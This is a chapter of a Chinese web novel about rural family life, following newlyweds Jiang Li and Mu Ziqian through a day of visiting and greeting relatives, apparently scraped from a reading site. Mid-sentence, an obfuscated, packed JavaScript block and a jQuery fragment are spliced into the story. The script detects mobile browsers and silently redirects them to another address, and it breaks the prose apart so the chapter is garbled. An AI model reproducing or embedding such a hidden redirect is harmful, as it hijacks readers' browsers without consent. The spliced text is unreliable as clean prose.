123读书网 > 都市小说 > 农家四时(种田) > 28. 第 28 章
    穆怀睿家,一大家子早早吃过饭,堂屋生上火,等一对新人来敬茶认亲改口。


    自打给两儿子分家,和老妻跟着大儿子过,穆青山就再没做过家里的主,不过大儿子孝顺,大事儿都会先过问他的意思,这次家里大大小小给一对新人的改口礼就是他做主定的。


    老太太苗氏跟丈夫同龄,将近古稀,年轻那会儿因着怀双胎生产艰难了些,家里一直担心她伤到身子骨,甭管轻了重了的都不叫她干活儿,日子上没咋受过罪。


    就是中年丧幼子,前些年又白发人送黑发人长女早早走了,神伤过度哭坏了眼睛,不过儿子儿媳孝顺,孙子、重孙有出息,眼看要抱玄孙,日子越发顺心。


    这会儿见重孙媳妇扶着肚子在屋里走动,抿着说话漏风的牙笑道:“昨儿是个好日子,我还当这小皮蛋蛋能出生呢!”


    “哎哟——”


    屋里有炭盆再者烧了炕很暖和,朱氏穿了一件夹袄,即便如此也能看见鼓起的腹部凸出个小包来,猝不及防被肚里的调皮蛋蛋踹了一脚,她叫出声来。


    轻轻抚上凸起,“乖宝,高祖母夸宝宝呢······”


    正在往炭盆上坐铜壶的花氏连忙放下手里东西扶住儿媳,“就在这几天呢,你回炕上,阿骞阿离都是自己人,没事儿的。”


    朱氏不好意思,太爷太奶都等着,独独她回炕上像啥话,还在扭捏,就听太婆婆说道:“是呀,说不定今儿下午就生了,这臭蛋蛋喜欢凑热闹呢,回炕上躺会儿。”


    江离、穆子骞来时,一大家子正在堂屋说话。


    见两人来,同辈的穆子珩率先打趣,年纪小一些的子琰、子明跳着喊堂哥堂嫂,简直要吵翻天。


    老太太就喜欢重孙们蹦蹦跳跳乐乐呵呵,催着知晓羞臊没动静的重孙女:“快快喊嫂子,你阿离姐一向大方,一会儿改口礼可是少不了你们的。”


    江离正巧听到这话,笑得眉眼弯弯,拽过新婚丈夫穆子骞,附和道:“可不,这一路提过来可把您老的重孙压得不轻呢!”


    穆子骞顺势将篮子放在供桌上,供桌前青砖地上已经摆好蒲草垫子,俩年轻小夫妻对着供桌磕了三个头,这才起身敬茶改口认亲。


    认亲礼与二房的相差无几,不过出于私心,江离给穆沧海、花氏夫妻二人多准备了一身衣鞋,给老爷子、老太太一人一身衣裳外多了一根拐杖、一个狐皮抹额。


    小孩子拿到红封已经笑嘻嘻拆开数铜板,得了奶奶李氏几句呵斥,“当着你堂哥堂嫂面儿像啥样,好好收起来,不行就交给你们娘。”


    “给弟弟妹妹的,他们自己拿着玩儿吧,都一样。”穆子骞乐呵呵劝大奶奶。


    花氏额外多得了一身衣鞋,怪难为情的,婆婆公公都只是一身衣裳呢,偏她跟丈夫两身,嗔责道:“阿离看你这,咋给我跟你大伯还多了一身,认亲改口可不是这礼数······”


    江离笑嘻嘻挽住她胳膊,“阿桓哥可是我爹的亲传弟子,大伯大伯娘又拿我当亲女儿照顾,多一身衣裳算啥,要不是太扎眼,我都想给伯娘打根簪子呢!”


    她这般亲热,花氏也不好说重话,可这双份礼着实摊手,二房那边晓得了还不知咋闹呢,面色为难,收也不是,不收也不是。


    老太太乐呵呵看着几个小的叽叽喳喳讨论如何花堂嫂给的红封呢,见大孙媳妇为难,慢吞吞又斩钉截铁道:“你就收下吧,阿离一向孝顺,旁人还能说破天去不成!”


    李氏也帮腔,“是呀,过年咱们穿出去让邻里眼热眼热,享受孙媳妇儿媳妇的福还有错啦!”


    侄孙媳妇孝敬的衣裳都是好料子,看着有光泽摸着也滑溜,主要样式还好看,都不像庄户人家穿的,过年穿出去多有面子呀。


    她是一点没觉得侄孙媳妇给大儿媳孝敬两身给她一身衣裳是怠慢,倒是觉得侄孙媳妇会来事儿,因着念书的二孙子到年纪了不说亲,这两年村里的风言风语不少,为此大儿媳妇受了不少气,却从没想过远着阿离避嫌。


    阿离也是明理懂事儿,这双份孝敬,可不就拿她大儿子大儿媳当亲人么,既是夫家长辈也是娘家长辈,有这么个贴心媳妇陪着,隔房侄孙往后的日子也没那么难熬了。


    吃晌午饭时,江离、穆子骞都没能回去,老太太派二孙子专门往二儿子家去了一趟传话,家里要留俩小夫妻吃晌午饭,二儿子家自个吃吧不用等人了。


    饭桌上,安氏嘀咕了几句,何氏不想孙媳妇才进门就吵嘴,呵斥了几句,顺带警告三儿子管不好媳妇开春就把三房分出去,这才安静下来。


    三婶终于是消停了,穆子耿美滋滋吃饭,惦记着开春就跟着大嫂搬回夫子家住,再也不用过这种吃个饭都不得安生的日子啦,草草扒了饭撂下碗就回屋,连阿平都诧异二哥咋吃这快,都不等他和二姐了?


    也不知为何,赵氏突然开口笑道:“可见阿离这当嫂子的给小叔子好东西了,阿耿定是回屋藏宝贝呢。”


    这挑拨是非的话,要是从三儿媳妇嘴里出来,何氏一定当场骂回去,可现在是老四媳妇说的,成亲这些年就给老四添了两女娃,现在好不容易怀上,何氏不想四儿子断后,忍下了心火,淡淡道:“阿骞媳妇自己的东西,想给谁就给谁,咱操那多心干嘛!”


    赵氏也觉自己失言了,讪讪瞅两位妯娌一眼,扭头给小女儿夹菜,“是儿媳多嘴了,我也是看阿耿兴冲冲回屋说一回笑,娘就当我口无遮拦吧。”


    女桌这边没人接话,倒是男桌热闹得很,还没进腊月呢家里就吃上这多肉菜,虽说是孙子\侄子成亲酒剩下的,可也是荤菜呀,又有酒,就是穆沧华都觉得明年日子更有盼头,何况是穆沧锦这等只管吃不管干的。


    端着二儿子给自己倒的酒,穆怀智眯眼咂了一口,感慨道:“阿骞都成亲了,接下来就是阿书了,往后家里越来越热闹。”


    大儿子英年早逝是他最大的痛,加之大儿媳生下老大的遗腹子也跟着去了,阿平又久久没能开口说话,这桩桩件件压在他心头,每每夜半从梦中惊醒,穆怀智总是不由怀疑是不是亏心事做多了,报应到他最能干的儿子身上了?


    说不清自己心底倒是什么感觉,愧疚、自责、懊悔交织,日日夜夜折磨着他却无从发泄,每每看见老大家几个孤零零的孩子,大儿子被血淋淋抬回来的场景、盖棺时闭不上眼的样子就浮现在他眼前啊······


    今儿晌午的高粱酒好似出奇得辣,穆怀智眨眼荡开水迹,盯着桌上酒碗伸胳膊去拍二儿子肩膀,似欣慰夸赞,似惆怅低喃:“好,好,好,这酒选得好,有老二你在,我也能缓缓啦!”


    在座的人都察觉他情绪不对,诸人却是心思各异。


    穆沧华觉得没辜负大哥的叮嘱交代,大侄子顺顺利利成亲他也算对得起大哥的托付了,霎那间胸腔涌起一股酸楚,浸染的眼眶泛出红色,哽咽着笑说:“看爹说的,有爹在,咱家日子不会差,大哥大嫂也能安息。”说着说着低了头,绷得像车辕的脊背慢慢萎了下来,这一佝偻竟显出老态来,鬓角带了霜色的头发尤其扎眼。


    自家男人自己心疼,小何氏的眼泪啪嗒啪嗒往衣襟上掉,哽咽的话都说不清楚,呜呜咽咽:“低泥放心,当家的一直记着大哥的叮嘱······”话未完已经扭身捂着脸冲出堂屋。


    何氏盯着面前的盘子不知想着什么,安氏幸灾乐祸左右四看,赵氏静静勾头坐着,穆芳年纪大又知晓她娘的心结,喏喏道:“奶,三婶四婶,你们先吃,我去劝劝我娘。”


    其他小的不明就里,却都停了筷子,瞪着黑白分明的眼睛扭头看看爷爷爹叔叔那桌,又看看自己这桌,没一人出声。


    堂屋一片沉寂,好一会儿,何氏喃喃抱怨:“当家的,吃饭就吃饭,好好的一顿饭被你搅和的······”


    穆怀智好似醒神了,瞪了瞪眼睛,笑着环视儿子孙子们,畅快道:“吃吃,快吃,一会儿凉了荤油冻住了。”


    这一顿饭,吃得穆家诸人五味杂陈,唯二顺心的也就早早离席的穆子耿和没在家吃晌午饭的一对新人了。


    吃过饭江离要帮着收拾灶房被赶了出来,老太太乐呵呵朝她招手,“来,跟太奶回屋,有好东西给你。”


    知晓老太太又要逗新进门的重孙媳妇,李氏、花氏、文氏跟着起哄逗老太太开心,“您老偏心哦,有了重孙媳妇忘了孙媳妇儿媳妇······”


    朱氏跟小姑子们作为晚辈,望着江离哧哧笑,一看就是知晓内里门道偏不说,江离红着脸搀住老太太,故意做出个昂首挺胸的娇纵样儿,“太奶奶看我长得可心,可不就得偏疼我么!”


    屋里人笑倒一大片,哄然笑声冲破门帘飞越院墙,随着冬日的北风飘出老远,引得周围邻里、附近路人好奇不已。


    进院时,篮子很沉,出来时,篮子依旧不轻。


    肤色微黑身量却健硕的青年男子一手挎着篮子,一手牵着脸盘圆润白皙挽了发髻的姑娘,两人身量相差一个头不止,并排走着却莫名的般配。


    江离甚至有玩心顺脚踢飞路上的小石子,“太爷爷太奶奶精神头好,阿珩嫂子生产后就是五世同堂了,妥妥的福泽绵延之家。”


    穆子骞脸上的笑意不曾落下过,闻此言笑意又深了几分,侧身看向贴着自己走路一蹦一跳的姑娘,“是呀,阿离,咱家日后也能福泽绵延。”


    明明是很正常的一句期许,传入江离耳中却多了些言外之意,也不知是她瞎想乱了思绪,还是被眼前称之为丈夫的人的炽热的眼神看害羞了,难得露出羞赧神色,伸手去推人,“哎呀,看路看路,当心摔了。”


    “有阿离在,哥哥不怕!”


    江离这下不止脸颊发热,耳朵都开始发烫,眼神飘忽着看向他处,被纹路粗糙


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16912281|189841||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的大掌紧紧牵住的手却没挣脱。


    好些人家才吃午饭呢,日头又好,少不得端碗坐在门口边晒太阳边吃,见小夫妻俩这般亲热,很是打趣了几句。


    江离大大方方叫人,伯娘婶子嫂子的见她嘴甜说话中听,又夸了新郎穆子骞几句,“能娶到你阿骞好福气啊,阿骞,可得对你媳妇儿好,要不然婶子头一个不依······”


    尤其左邻郭氏,原就知晓江离陪嫁多,昨儿作为接亲队妇人这边的主事人之一,有幸看了舒家的嫁妆单子,她虽不识字,可那长长的单子密密麻麻写满了,只瞧了一眼便眼热的不行。


    她家老太爷那一辈儿日子比不上穆青山,公公这一辈别说比不上里正家的日子,就连隔壁穆怀智家的光景都多有不如,到她跟丈夫这一辈,日子是强了可也非村里一等一的富户,院墙是土砖垒的,且到人半腰处,站在屋里就能看到院外路上。


    这会儿正扫院里鸡屎呢,见新婚小夫妻手牵手从院前过,郭氏笑着跟两人打招呼:“看过老太爷老太太啦,咱柳树湾顶顶有福气的长辈,明年你弟弟成亲时,婶子可要请老太爷老太太坐上席,咱家也沾沾你们的福气。”


    “可见婶子是盼儿媳妇进门心里着急哩,阿栎弟妹可有福啦,阿平、子霖成亲的时候婶子也是十里八乡鼎鼎有名的全福人啦!”江离笑着奉承。


    给郭氏逗得前仰后俯,“阿骞,可看紧你媳妇啊,要待你媳妇不好婶子可要认干女儿带回我家养着了······”


    隔着院墙都能听到郭氏的笑声说话声,安氏撇嘴:马屁精,舔舒江离人能给你分钱还是咋!


    今儿晌午看了二房尤其妯娌的笑话,安氏心里很是得意,这会儿听见隔壁郭氏那说话调调,很是瞧不上。


    进院门时,江离凑近了低低问道:“郭婶子说话一直这样吗?”


    穆子骞眼含笑意,明知故问:“什么样儿?”又逗她,江离斜眼晲他,挣脱被牵了一路的手,拧上新袄子。


    腰间被拧了一记,穆子骞舒坦了,眉开眼笑:“郭婶为人挺热心。”


    得到想要的答案,江离嫣然一笑,背着手晃悠悠跨过院门门槛。


    穆子骞站在门槛外笑眯眯瞧着一扭一晃往自家厢房去的背影,好一会儿才抬脚。


    “哟,这会儿就回来了,还当你们晚饭也不在家吃哩。”安氏听着东厢房门扇动静,开了窗户来瞧,正瞅见拎着篮子往屋里去的大侄子,笑嘻嘻阴阳怪气。


    穆子骞似笑非笑不软不硬地顶了回去,“这不是怕一整天不见侄子侄媳妇,三婶心里不落忍么!”


    “噗——”新房里正转看准备收拾的江离笑出声来,担心在前间被听到动静,跑进后间扑到炕上捶着褥子无声大笑。


    安氏没想到以往温吞吞不吱声的侄子现在竟然这么硬气,当即拉了脸,“可见有媳妇撑腰就是不一样!”


    穆子骞不搭理她,径直进新房利落关门。


    没在前间看见人也不着急,放下篮子往后间去,见妻子趴在褥子上以为不舒服,急急道:“可是冒风了,我煮点姜汤来······”


    江离翻身仰躺看向他,眼角笑出的泪花还能看出湿迹,“哥哥,有媳妇撑腰的感觉如何?”


    穆子骞解开棉袄最上面的两颗盘扣,舒展胳膊,姿态放松神色却是尤为郑重:“感觉很硬气,谁都不能给你气受,嘴上拐弯抹角挤兑也不行。”


    江离脸上笑意微敛,盯着人看了好一会儿,叹息着伸开胳膊,“哥哥,抱抱。”


    村里人提起穆子骞,第一反应是命不好没爹没娘,屁股后面还跟了一串拖油瓶,两家关系近的人偶尔会赞一句“是个能干的老实娃”,可江离知晓,穆子骞不该是这样。


    她见过的穆子骞,小小年纪小小个头,偏为了装大人故作深沉;为了逗她笑,会爬树给她捉羽毛好看的小鸟;拉着她上山打核桃捡毛栗教她认野菜,小嘴一整天叭叭叭个没停······


    “哥哥,以后你还有我!”


    三婶认为阿骞哥是娶了她,往后日子不用看家里其他人脸色,说话才这么硬气,其实不然,江离知晓,虚虚压在她身上抱住她的是顶天立地的大丈夫穆子骞。


    以往在家并非没见着阿耿、阿芸、阿平受气,虽是长兄可也是小辈,吃着家里穿着家里,在这些事儿上计较过多难免引得爷奶反感,落到那种境地大房日子更难。


    现在不一样了,他是阿离的丈夫,阿离从不亏欠穆家什么,他自己受苦受累弟弟妹妹们受气可以,但家里人绝不可以给阿离气受。


    耳畔是沉稳的气息,江离双臂使力紧紧抱住穆子骞,这是她的阿骞哥,她的丈夫啊,她如何能不懂他呢!


    往后漫长的岁月中,她和他有姐姐弟弟妹妹相伴,还会有两人的精血延续血脉,可这漫漫红尘沧桑人世,只有他知她心,她知他志!